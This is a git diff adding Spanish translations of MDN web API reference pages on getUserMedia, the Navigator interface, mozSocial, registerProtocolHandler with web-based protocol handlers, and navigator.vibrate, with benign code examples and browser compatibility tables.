+<p>La función getUserMedia llamará a la función especificada en el <code>successCallback </code>con el objeto <a href="/en-US/docs/WebRTC/MediaStream_API#LocalMediaStream" title="WebRTC/MediaStream_API#LocalMediaStream">LocalMediaStream</a> que contenga la secuencia multimedia. Puedes asignar el objeto al elemento apropiado y trabajar con él, como se muestra en el siguiente ejemplo:</p>
+
+<pre>function(localMediaStream) {
+   var video = document.querySelector('video');
+   video.src = window.URL.createObjectURL(localMediaStream);
+   video.onloadedmetadata = function(e) {
+      // Haz algo aquí con el video.
+   };
+},</pre>
+
+<h3 id="errorCallback">errorCallback</h3>
+
+<p>La función <code>getUserMedia </code>llama a la función indicada en el errorCallback con un <code>código</code> como argumento. Los códigos de error se describen a continuación:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Error </th>
+   <th scope="col">Descripción </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>PERMISSION_DENIED </td>
+   <td>El usuario denegó el permiso para usar el dispositivo multimadia requerido para esta operación. </td>
+  </tr>
+  <tr>
+   <td>NOT_SUPPORTED_ERROR </td>
+   <td>Un constraint especificado no es soportado por el navegador.</td>
+  </tr>
+  <tr>
+   <td>MANDATORY_UNSATISFIED_ERROR </td>
+   <td>No se encontraron fuentes multimedia del tipo especificado en el constraints.</td>
+  </tr>
+  <tr>
+   <td>NO_DEVICES_FOUND</td>
+   <td>No se encontró ninguna webcam instalada.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_navegadores">Compatibilidad con los navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Stream API </td>
+   <td>21{{property_prefix("webkit")}} </td>
+   <td>20{{property_prefix("moz")}} </td>
+   <td>{{CompatNo}} </td>
+   <td>12</td>
+   <td>{{CompatUnknown}} </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Stream API </td>
+   <td>{{CompatNo}} </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}} </td>
+   <td>12</td>
+   <td>{{CompatNo}} </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p><span style="line-height: 1.5em;">Actualmente el uso de WebRTC para acceder a la cámara esta soportado en Chrome, Opera y Firefox 20.</span></p>
+
+<h2 id="Vease_también">Vease también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebRTC" title="WebRTC">WebRTC</a> - la página introductoria a la API</li>
+ <li><a href="/en-US/docs/WebRTC/MediaStream_API" title="WebRTC/MediaStream_API">MediaStream API</a> - la API para los objetos multimedia</li>
+ <li><a href="/en-US/docs/WebRTC/taking_webcam_photos" title="WebRTC/taking_webcam_photos">Taking webcam photos</a> - un tutorial acerca del uso de getUserMedia()</li>
+</ul>
diff --git a/files/es/web/api/navigator/id/index.html b/files/es/web/api/navigator/id/index.html
new file mode 100644
index 0000000000..707d9a6255
--- /dev/null
+++ b/files/es/web/api/navigator/id/index.html
@@ -0,0 +1,16 @@
+---
+title: navigator.id
+slug: Web/API/Navigator/id
+translation_of: Archive/Navigator-id
+---
+<div>{{ ApiRef("Persona") }}</div>
+
+<h2 id="Summary" name="Summary">Summary</h2>
+
+<p>The <a href="/en-US/docs/Persona" title="BrowserID">BrowserID protocol</a> defines a new <code>id</code> property on the {{ domxref ("window.navigator")}} object, through which it exposes the BrowserID API, that is the {{domxref("IdentityManager")}} intreface. This API has gone through several significant revisions. Each generation is listed separately below.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre>var id = navigator.id</pre>
+
+<p> </p>
diff --git a/files/es/web/api/navigator/index.html b/files/es/web/api/navigator/index.html
new file mode 100644
index 0000000000..6c38d2ca6b
--- /dev/null
+++ b/files/es/web/api/navigator/index.html
@@ -0,0 +1,141 @@
+---
+title: Navigator
+slug: Web/API/Navigator
+tags:
+  - API
+  - HTML-DOM
+translation_of: Web/API/Navigator
+---
+<p>{{Apiref}}</p>
+
+<p>La interfaz <code><strong>Navigator</strong></code> representa el estado y la identidad del <em>user agent</em>. Es completamente consultable y es posible registrar scripts para que ejecuten diversas actividades.</p>
+
+<p>Un objeto <code>Navigator</code> puede ser obtenido usando la propiedad de sólo lectura {{domxref("Window.navigator")}}.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>No hereda ninguna propiedad, pero implementa las definidas en {{domxref("NavigatorID")}}, {{domxref("NavigatorLanguage")}}, {{domxref("NavigatorOnLine")}}, {{domxref("NavigatorContentUtils")}}, {{domxref("NavigatorStorageUtils")}}, {{domxref("NavigatorCookies")}}, {{domxref("NavigatorConcurrentHardware")}}, {{domxref("NavigatorPlugins")}}, y {{domxref("NavigatorUserMedia")}}.</em></p>
+
+<h3 id="Estándar">Estándar</h3>
+
+<dl>
+ <dt>{{domxref("Navigator.activeVRDisplays")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Devuelve un arreglo que contiene cada objeto {{domxref("VRDisplay")}} que está siendo presentado en el momento ({{domxref("VRDisplay.ispresenting")}} es <code>true</code>).</dd>
+ <dt>{{domxref("NavigatorID.appCodeName")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Devuelve el nombre código interno del navegador actual. No confie en que esta propiedad devuelva siempre el valor correcto.</dd>
+ <dt>{{domxref("NavigatorID.appName")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Devuelve un {{domxref("DOMString")}} con el nombre oficial del navegador. No confie en que esta propiedad devuelva siempre el valor correcto. </dd>
+ <dt>{{domxref("NavigatorID.appVersion")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Devuelve la versión del navegador como un {{domxref("DOMString")}}. No confie en que esta propiedad devuelva siempre el valor correcto.</dd>
+ <dt>{{domxref("Navigator.battery")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un objeto de tipo {{domxref("BatteryManager")}} que puede utilizar para obtener la información del estado de carga de la batería.</dd>
+ <dt>{{domxref("NetworkInformation.connection")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Provee un objeto {{domxref("NetworkInformation")}} con la información sobre la conexión a la red de un dispositivo.</dd>
+ <dt>{{domxref("NavigatorGeolocation.geolocation")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un objeto {{domxref("Geolocation")}} que permite el acceso a la ubicación del dispositivo.</dd>
+ <dt>{{domxref("NavigatorConcurrentHardware.hardwareConcurrency")}} {{readOnlyInline}}</dt>
+ <dd>Devuelve el número de núcleos de procesador lógicos disponibles.</dd>
+ <dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Devuelve un valor {{domxref("Boolean")}} que indica si el navegador tiene o no habilitado Java.</dd>
+ <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un valor {{domxref("DOMString")}} que representa el idioma elegido por el usuario, generalmente el idioma de la interfaz del navegador. Si no se puede identificar el idioma, devuelve un valor <code>null</code>.</dd>
+ <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un arreglo de {{domxref("DOMString")}} que representan los idiomas conocidos por el usuario, en orden de preferencia.</dd>
+ <dt>{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Devieñve im {{domxref("MimeTypeArray")}} que enlista los tipos MIME soportados por el navegador.</dd>
+ <dt>{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un valor {{domxref("Boolean")}} que indica si el navegador está trabajando en línea.</dd>
+ <dt>{{domxref("Navigator.oscpu")}}</dt>
+ <dd>Devuelve una cadena de texto que representa al sistema operativo actual.</dd>
+ <dt>{{domxref("Navigator.permissions")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>;</dd>
+ <dd>Devuelve un objeto {{domxref("Permissions")}} que puede ser usado para consultar y actualizar estatus de permisos de las APIs, acorde a la <a href="https://developer.mozilla.org/en-US/docs/Web/API/Permissions_API">API Permissions</a>.</dd>
+ <dt>{{domxref("NavigatorID.platform")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Devuelve una cadena de texto que representa la plataforma del navegador. No confíe en que esta función devuelva un valor significativo.</dd>
+ <dt>{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Devuelve un {{domxref("PluginArray")}} que enlista los plugins instalados en el navegador.</dd>
+ <dt>{{domxref("NavigatorID.product")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Siempre devuelve <code>'Gecko'</code>, en cualquier navegador. Esta propiedad es mantenido únicamente por razones de compatibilidad.</dd>
+ <dt>{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}</dt>
+ <dd>Devuelve la cadena de agente usuario del navegador actual.</dd>
+ <dt>{{domxref("Navigator.serviceWorker")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un objeto {{domxref("ServiceWorkerContainer")}}, el cual provee acceso a registro, eliminación, actualización y comunicación con los objetos {{domxref("ServiceWorker")}} para <a href="https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window">documentos asociados</a>.</dd>
+</dl>
+
+<h3 id="Methods" name="Methods">No Estándar</h3>
+
+<div class="note">
+<p>Dispositivos con Firefox OS añaden más propiedades no estándares. Puede consultarlas en el <a href="/en-US/docs/Mozilla/Firefox_OS/API/Navigator">artículo de extensiones de Navigator de Firefox OS</a>.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("Navigator.buildID")}} {{non-standard_inline}}</dt>
+ <dd>Devuelve el identificador de la compilación del navegador(p.ej., "2006090803").</dd>
+ <dt>{{domxref("Navigator.cookieEnabled")}} {{non-standard_inline}}</dt>
+ <dd>Devuelve un booleano que indica si el navegador tiene activadas las cookies.</dd>
+ <dt>{{domxref("Navigator.credentials")}} {{non-standard_inline}}</dt>
+ <dd>Devuelve la interfaz {{domxref("CredentialsContainer")}}, la cual expone métodos para solicitar credenciales y notificar al agente usuario cuando ocurran eventos de interés, como inicios o cierres de sesión.</dd>
+ <dt>{{domxref("Navigator.doNotTrack")}} {{non-standard_inline}}</dt>
+ <dd>Reporta el valor de la preferencia <em>do-not-track</em>. Cuando su valor es positivo ("yes", "1"), el sitio o aplicación web no debe rastrear al usuario.</dd>
+ <dt>{{domxref("Navigator.id")}} {{non-standard_inline}}</dt>
+ <dd>Devuelve el objeto {{domxref("window.navigator.id", "id")}}, el cual se puede usar para añadir soporte a <a href="/es/docs/Mozilla/Persona" title="BrowserID">BrowserID</a> en el sitio web.</dd>
+ <dt>{{domxref("Navigator.mediaDevices")}} {{non-standard_inline}}</dt>
+ <dd>Devuelve una referencia a la interfaz {{domxref("MediaDevices")}}.</dd>
+ <dt>{{domxref("Navigator.mozNotification")}} {{deprecated_inline("22")}} {{non-standard_inline}}<br>
+ {{domxref("Navigator.webkitNotification")}}</dt>
+ <dd>Devuelve un objeto {{domxref("navigator.mozNotification", "notification")}} que puede ser usado para enviar notificaciones al usuario desde la aplicación web.</dd>
+ <dt>{{domxref("Navigator.mozSocial")}} {{non-standard_inline}}</dt>
+ <dd>El objeto devuelto por la propiedad <code>navigator.mozSocial</code>, está disponible en el panel de proveedor de medios sociales para proporcionar funcionalidad la que se necesite.</dd>
+ <dt>{{domxref("Navigator.presentation")}} {{non-standard_inline}}</dt>
+ <dd>Devuelve una referencia a la API {{domxref("Presentation")}}.</dd>
+ <dt>{{domxref("Navigator.productSub")}} {{non-standard_inline}}</dt>
+ <dd>Devuelve el número de compilación del navegador actual (p.ej., "20060909").</dd>
+ <dt>{{domxref("Navigator.securitypolicy")}} {{non-standard_inline}}</dt>
+ <dd>Devuelve una cadena de texto vacía. En Netscape 4.7x, devuelve "US &amp; CA domestic policy" o "Export policy".</dd>
+ <dt>{{domxref("Navigator.standalone")}} {{non-standard_inline}}</dt>
+ <dd>Devuelve un booleano que indica si el navegador está ejecutándose en modo <em>standalone</em>. Disponible sólo para Safari de iOS de Apple.</dd>
+ <dt>{{domxref("Navigator.vendor")}} {{non-standard_inline}}</dt>
+ <dd>Devuelve el nombre del fabricante del navegador actual (p.ej., "Netscape6").</dd>
+ <dt>{{domxref("Navigator.vendorSub")}} {{non-standard_inline}}</dt>
+ <dd>Devuelve la versión de fabricante (p.ej. "6.1").</dd>
+ <dt>{{domxref("Navigator.webkitPointer")}} {{non-standard_inline}}</dt>
+ <dd>Devuelve un objeto PointerLock para la API <a href="https://developer.mozilla.org/en-US/docs/API/Pointer_Lock_API" title="Mouse Lock API">Mouse Lock</a>.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Métodos</h2>
+
+<p><em>No hereda ninguna propiedad, pero implementa las definidas en </em><em>{{domxref("NavigatorID")}}, {{domxref("NavigatorContentUtils")}}, <em>{{domxref("NavigatorUserMedia")}}, </em>y {{domxref("NavigatorStorageUtils")}}.</em></p>
+
+<h3 id="Estándar_2">Estándar</h3>
+
+<dl>
+ <dt>{{domxref("Navigator.getVRDisplays()")}} {{experimental_inline}}</dt>
+ <dd>Devuelve una promesa que se resuelve en un arreglo de objetos {{domxref("VRDisplay")}} que representan cualquier dispositivo VR conectado a la computadora que esté disponible.</dd>
+ <dt>{{domxref("Navigator.getUserMedia", "NavigatorUserMedia.getUserMedia()")}}</dt>
+ <dd>Después de solicitar permiso al usuario, devuelve el stream de audio o video asociado a la cámara o micrófono de la computadora local.</dd>
+ <dt>{{domxref("Navigator.registerContentHandler()")}}</dt>
+ <dd>Permite a los web sites registrarse como posibles controladores de un tipo MIME determinado.</dd>
+ <dt>{{domxref("Navigator.registerProtocolHandler()")}}</dt>
+ <dd>Permite a los sitios webs registrarse como posibles controladores de un protocolo determinado.</dd>
+ <dt>{{domxref("Navigator.requestMediaKeySystemAccess()")}} {{experimental_inline}}</dt>
+ <dd>Devuelve un objeto {{jsxref("Promise")}} para un objeto MediaKeySystemAccess.</dd>
+ <dt>{{domxref("Navigator.sendBeacon()")}}{{experimental_inline}}</dt>
+ <dd>Usado para transferir, de forma asíncrona, conjuntos pequeños de datos HTTP del agente usuario al servidor.</dd>
+ <dt>{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline("1.7.8")}} {{obsolete_inline("9.0")}} {{experimental_inline}}</dt>
+ <dd>Devuelve <code>false</code>. Las funciones <code>taint</code>/<code>untaint</code> de JavaScript fueron desaprobadas en JavaScript 1.2.</dd>
+ <dt>{{domxref("Navigator.vibrate()")}} {{gecko_minversion_inline("11.0")}}</dt>
+ <dd>Causa vibración en el dispositivo que la soporta. No hace nada si el soporte para vibración no está disponible.</dd>
+</dl>
+
+<h3 id="Specification" name="Specification">No Estándar</h3>
+
+<div class="note">
+<p>Dispositivos con Firefox OS añaden más métodos no estándares. Puede consultarlas en el <a href="/en-US/docs/Mozilla/Firefox_OS/API/Navigator">artículo de extensiones de Navigator de Firefox OS</a>.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("Navigator.mozIsLocallyAvailable()")}} {{non-standard_inline}}</dt>
+ <dd>Permite al código verificar si el documento en una URI determinada está disponible sin usar la red.</dd>
+ <dt>{{domxref("Navigator.mozPay()")}} {{non-standard_inline}}</dt>
+ <dd>Permite pagos dentro de la aplicación.</dd>
+</dl>
diff --git a/files/es/web/api/navigator/mozsocial/index.html b/files/es/web/api/navigator/mozsocial/index.html
new file mode 100644
index 0000000000..cf5dd808f8
--- /dev/null
+++ b/files/es/web/api/navigator/mozsocial/index.html
@@ -0,0 +1,48 @@
+---
+title: navigator.mozSocial
+slug: Web/API/Navigator/mozSocial
+translation_of: Archive/mozSocial
+---
+<p>{{non-standard_header()}}</p>
+<p>{{fx_minversion_header("17.0")}}</p>
+<p>{{ ApiRef() }}</p>
+<p>El objeto <code>MozSocial</code> , regresado por la propiedad <code>navigator.mozSocial</code> , esta disponible dentro del tablero del proveedor de medios de comunicación para proporcionar la funcionalidad que pueda necesitar.</p>
+<div class="note">
+ <p><strong>Nota:</strong> Aunque mozilla espera enviar eventualmente este API para su  estandarización, aun no se ha hecho.</p>
+</div>
+<h2 id="Atributos">Atributos</h2>
+<dl>
+ <dt>
+  {{domxref("MozSocial.isVisible")}}</dt>
+ <dd>
+  Regresa un valor Booleano; el resultado es <code>true</code> si el contenido es visible, de otra manera es <code>false</code>.</dd>
+</dl>
+<h2 id="Métodos">Métodos</h2>
+<dl>
+ <dt>
+  {{domxref("MozSocial.closePanel()")}}</dt>
+ <dd>
+  Cierra el tablero flotante abierto actualmente.</dd>
+ <dt>
+  {{domxref("MozSocial.getAttention()")}}</dt>
+ <dd>
+  Realiza algunas acciones diseñadas para obtener la atención del usuario; el mismo comportamiento puede variar de plataforma a plataforma. Esto puede mostrar un efecto visual, reproducir una notificación audible, parpadear la pantalla, o utilizar alguna otra técnica.</dd>
+ <dt>
+  {{ domxref("MozSocial.getWorker()") }}</dt>
+ <dd>
+  Regresa una referencia al trabajador de servicios; una vez el  contenido tiene esta referencia, puede llamar a su método <code>postMessage()</code> para comunicarse con el servicio.</dd>
+ <dt>
+  {{domxref("MozSocial.openChatWindow()")}}</dt>
+ <dd>
+  Abre una ventana de chat que es anclada al pie de la ventana del navegador. Se espera que cada ventana de chat sea un chat singular, pero su funcionalidad va a variar dependiento del proveedor.</dd>
+ <dt>
+  {{domxref("MozSocial.openPanel()")}}</dt>
+ <dd>
+  Abre un tablero flotante adjunto a la barra lateral en una vertical dada para compensar. Esto puede ser, por ejemplo, utilizado para mostrar la conversación actual correspondiente a una notificación en la barra lateral.</dd>
+ <dd>
+   </dd>
+ <dt>
+  Vease Tambien</dt>
+ <dd>
+  Social API</dd>
+</dl>
diff --git a/files/es/web/api/navigator/registerprotocolhandler/index.html b/files/es/web/api/navigator/registerprotocolhandler/index.html
new file mode 100644
index 0000000000..a2a57f7ae3
--- /dev/null
+++ b/files/es/web/api/navigator/registerprotocolhandler/index.html
@@ -0,0 +1,33 @@
+---
+title: window.navigator.registerProtocolHandler
+slug: Web/API/Navigator/registerProtocolHandler
+tags:
+  - Firefox 3
+  - Referencia_DOM_de_Gecko
+translation_of: Web/API/Navigator/registerProtocolHandler
+---
+<p> </p>
+<p>{{ ApiRef() }} {{ Fx_minversion_header(3) }}</p>
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+<p>Permite que las páginas web se registren por si mismas como posibles manejadores para protocolos concretos.</p>
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+<pre class="eval">window.navigator.registerProtocolHandler(<i>protocol</i>,<i>uri</i>,<i>title</i>);
+</pre>
+<ul>
+ <li><code>protocol</code> es el protocolo que el sitio quiere manejar, especificado como una cadena.</li>
+ <li><code>uri</code> es la URI del manejador en forma de cadena. Puedes incluir "%s" para indicar dónde debe insertarse la URI (en formato escaped) del documento a manejar.</li>
+ <li><code>title</code> es el título del manejador presentado al usuario como una cadena.</li>
+</ul>
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+<pre class="eval">navigator.registerProtocolHandler("mailto",
+                                 "<span class="nowiki">https://mail.google.com/mail?view=cm&amp;tf=0&amp;to=%s</span>",
+                                 "Google Mail");
+</pre>
+<p>Esto crea un nuevo manejador que permite a los enlaces de tipo "mailto:" dirigir al usuario a Google Mail, insertando la dirección de correo especificada en el enlace, en la URL.</p>
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+<p>Especificado en el documento del WHATWG: <a class="external" href="http://whatwg.org/specs/web-apps/current-work/#custom-handlers">Web Applications 1.0 working draft</a>.</p>
+<p> </p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.navigator.registerProtocolHandler", "fr": "fr/DOM/window.navigator.registerProtocolHandler", "ja": "ja/DOM/window.navigator.registerProtocolHandler", "ko": "ko/DOM/window.navigator.registerProtocolHandler", "pl": "pl/DOM/window.navigator.registerProtocolHandler" } ) }}</p>
diff --git a/files/es/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.html b/files/es/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.html
new file mode 100644
index 0000000000..2f72c52dc9
--- /dev/null
+++ b/files/es/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.html
@@ -0,0 +1,132 @@
+---
+title: Controladores de protocolos basados en web
+slug: Web/API/Navigator/registerProtocolHandler/Web-based_protocol_handlers
+tags:
+  - Avanzado
+  - Controladores de Protocolos Basados en Web
+  - HTML5
+translation_of: Web/API/Navigator/registerProtocolHandler/Web-based_protocol_handlers
+---
+<div>{{Fx_minversion_header(3)}}</div>
+
+<h2 id="Background" name="Background">Antecedentes</h2>
+
+<p>Es bastante común encontrar enlaces de páginas web a recursos que no usan protocolos <code>http</code>. Un ejemplo es el protocolo <code>mailto:</code>:</p>
+
+<div style="overflow: hidden;">
+<pre class="brush:html">&lt;a href="mailto:webmaster@example.com"&gt;Web Master&lt;/a&gt;</pre>
+</div>
+
+<p>Los autores de la Web pueden usar un enlace <code>mailto:</code> cuando quieren proporcionar una forma conveniente para que los usuarios envién un correo electrónico, directamente desde la página web. Cuando el enlace está activo, el navegador debería lanzar la aplicación de escritorio predeterminada para gestionar correos electrónicos. Se puede pensar en esto como un controlador de protocolos <em>basados en escritorio</em>.</p>
+
+<p>Los controladores de protocolos basados en web permiten a las aplicaciones basadas en web participar en el proceso también. <span id="result_box" lang="es"><span>Esto es cada vez más importante a medida que más tipos de aplicaciones migren a la web</span></span>. De hecho, hay muchas aplicaciones basadas en web que gestionan correo electrónicos podrían procesar un enlace <code>mailto</code>.</p>
+
+<h2 id="Registering" name="Registering">Registro</h2>
+
+<p>Configurar una aplicación web como un controlador de protocolo no es un proceso difícil. Básicamente la aplicación web usa <code><a href="/en-US/docs/Web/API/navigator.registerProtocolHandler" title="DOM/window.navigator.registerProtocolHandler">registerProtocolHandler()</a></code> para registrarse a sí mismo con el navegador como un controlador potencial para un protocolo dado. Por ejemplo:</p>
+
+<pre class="brush: js">navigator.registerProtocolHandler("burger",
+                                  "http://www.google.co.uk/?uri=%s",
+                                  "Burger handler");</pre>
+
+<p>En donde los parámetros son:</p>
+
+<ul>
+ <li>El protocolo.</li>
+ <li>La plantilla de la URL, usada como el controlador. El "%s" es reemplazado con el <code>href</code> del enlace y una petición GET es ejecutada en la URL resultante.</li>
+ <li>El nombre fácil de usar para el controlador del protocolo.</li>
+</ul>
+
+<p>Cuando un navegador ejecuta este código, se le mostrará un mensaje al usuario, pidiendo permiso para permitir a la aplicación web registrase como controlador para el protocolo. Firefox muestra un mensaje en el área de la barra de notificaciones:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9683/protocolregister.png" style="display: block; height: 401px; margin: 0px auto; width: 700px;"></p>
+
+<div class="note"><strong>Nota:</strong> La plantila de la URL proporcionada al registrar <strong>debe</strong> ser del mismo dominio que el de la página que intenta realizar el registro o el registro fallará. Por ejemplo, <code class="plain">http://example.com/homepage.html</code> puede registrar un controlador de protocolo para <code class="plain">http://example.com/handle_mailto/%s</code>, pero no para <code class="plain">http://example.<em><strong>org</strong></em>/handle_mailto/%s</code>.</div>
+
+<p>Al registrar el mismo controlador de protocolo más de una vez aparecerá una notifiación diferente, indicando que el controlador del protocolo ya ha está registrado. Por lo tanto, es una buena idea cuidar el registro del controlador de protocolo con una verificación para saber si ya está registrado, como con el siguiente ejemplo.</p>
+
+<h3 id="Example" name="Example">Ejemplo</h3>
+
+<pre class="brush: js">&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+  &lt;title&gt;Ejemplo de Controlador de Protocolo Web - Registro&lt;/title&gt;
+  &lt;script type="text/javascript"&gt;
+    navigator.registerProtocolHandler("burger",
+                                  "http://www.google.co.uk/?uri=%s",
+                                  "Burger handler");
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;h1&gt;Ejemplo de Controlador de Protocolo Web&lt;/h1&gt;
+  &lt;p&gt;Esta página web instalará un controlador de protocolo web para el protocolo &lt;code&gt;burger:&lt;/code&gt;.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Activating" name="Activating">Activando</h2>
+
+<p>Ahora, cada vez que el usuario active un enlace que usa el protocolo registrado, el navegador enrutará la acción a la URL suministrada cuando la aplicación web se haya registrado. Firefox, de manera predeterminada, alertará al usaurio antes de controlar la acción.</p>
+
+<h3 id="Example_2" name="Example_2">Ejemplo</h3>
+
+<pre class="brush: html">&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+  &lt;title&gt;Ejemplo de Controlador de Protocolo Web - Prueba&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;Oye ¿Has visto &lt;a href="burger:cheeseburger"&gt;esto&lt;/a&gt; antes?&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Handling" name="Handling">Controlando</h2>
+
+<p>La siguiente fase es controlar la acción. El navgador extrae el <code>href</code> desde el enlace activado, lo combina con la plantilla de la URL suministrada durante el registro del controlador y realzia una petición HTTP GET sobre la URL. Luego, usando los ejemplos anteriores, el navegador realizará una petición GET sobre esta URL:</p>
+
+<pre>http://www.google.co.uk/?uri=burger:cheeseburger
+</pre>
+
+<p>El código del lado del servidor puede extraer los parámetros de la cadena de petición y realizar la acción deseada.</p>
+
+<div class="note"><strong>Nota:</strong> Al código del lado del servidor se le pasa todo el contenido del <code>href</code>.  Esto significa que el código del lado del servidor tendrá que analizar el protocolo desde los datos.</div>
+
+<h3 id="Example_3" name="Example_3">Example</h3>
+
+<pre class="brush: php">&lt;?php
+$value = "";
+if ( isset ( $_GET["value"] ) ) {
+  $value = $_GET["value"];
+}
+?&gt;
+
+&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+    &lt;title&gt;Ejemplo de Controlador de Protocolo Web&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;h1&gt;Ejemplo de Controlador de Protocolo Web - Controlador&lt;/h1&gt;
+  &lt;p&gt;Esta página es llamada al controlar una acción del protocolo &lt;code&gt;burger:&lt;/code&gt;. Datos enviados:&lt;/p&gt;
+  &lt;textarea&gt;
+&lt;?php echo(htmlspecialchars($value, ENT_QUOTES, 'UTF-8')); ?&gt;
+  &lt;/textarea&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="References" name="References">Referencias</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/2011/WD-html5-20110525/timers.html#custom-handlers">http://www.w3.org/TR/2011/WD-html5-20110525/timers.html#custom-handlers</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Véase también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/window.navigator.registerContentHandler" title="DOM/window.navigator.registerContentHandler">window.navigator.registerContentHandler</a></li>
+ <li><a href="/en-US/docs/XPCOM_Interface_Reference/nsIProtocolHandler" title="nsIProtocolHandler">nsIProtocolHandler</a> (solamente XUL)</li>
+ <li><a class="external" href="http://blog.mozilla.com/webdev/2010/07/26/registerprotocolhandler-enhancing-the-federated-web/" title="http://blog.mozilla.com/webdev/2010/07/26/registerprotocolhandler-enhancing-the-federated-web/">RegisterProtocolHandler, la mejora a la Web federada</a> en Mozilla Webdev</li>
+ <li><a href="https://developers.google.com/web/updates/2011/06/Registering-a-custom-protocol-handler">Registrar un protocolHandler personalizado</a> en Google Developers.</li>
+</ul>
diff --git a/files/es/web/api/navigator/vibrate/index.html b/files/es/web/api/navigator/vibrate/index.html
new file mode 100644
index 0000000000..39969f4cfc
--- /dev/null
+++ b/files/es/web/api/navigator/vibrate/index.html
@@ -0,0 +1,82 @@
+---
+title: window.navigator.vibrate
+slug: Web/API/Navigator/vibrate
+translation_of: Web/API/Navigator/vibrate
+---
+<div>
+ {{ApiRef}}{{SeeCompatTable}}</div>
+<h2 id="Summary" name="Summary">Resumen</h2>
+<p>Ejecuta la vibración por hardware en el dispositivo, si existe dicho hardware. Si el dispositivo no soporta vibración, este método no tendrá efecto. Si un patrón de vibración ya estaba en progreso cuando este método es ejecutado, el patrón anterior se detiene y en su lugar se iniciará el último patrón ejecutado.</p>
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+<pre class="syntaxbox">window.navigator.vibrate(<var>pattern</var>);
+</pre>
+<ul>
+ <li><code>pattern</code> proporciona un patrón de intervalos de vibración y pausas, como se describe a continuación.</li>
+</ul>
+<dl>
+ <dt>
+  pattern</dt>
+ <dd>
+  Proporciona un patrón de intervalos de vibraciones y pausas. Cada valor indica el número de milisegundos que durará la vibración y la pausa, respectivamente. Se puede porporcionar un valor único (en cuyo caso la vibración se ejecutará una vez, con la duración especificada en milisegundos) o un arreglo de valores (array) para alternar vibraciones y pausas. Ver <a href="/en-US/docs/WebAPI/Vibration" title="/en-US/docs/WebAPI/Vibration">Vibration API</a> para más detalles.</dd>
+</dl>
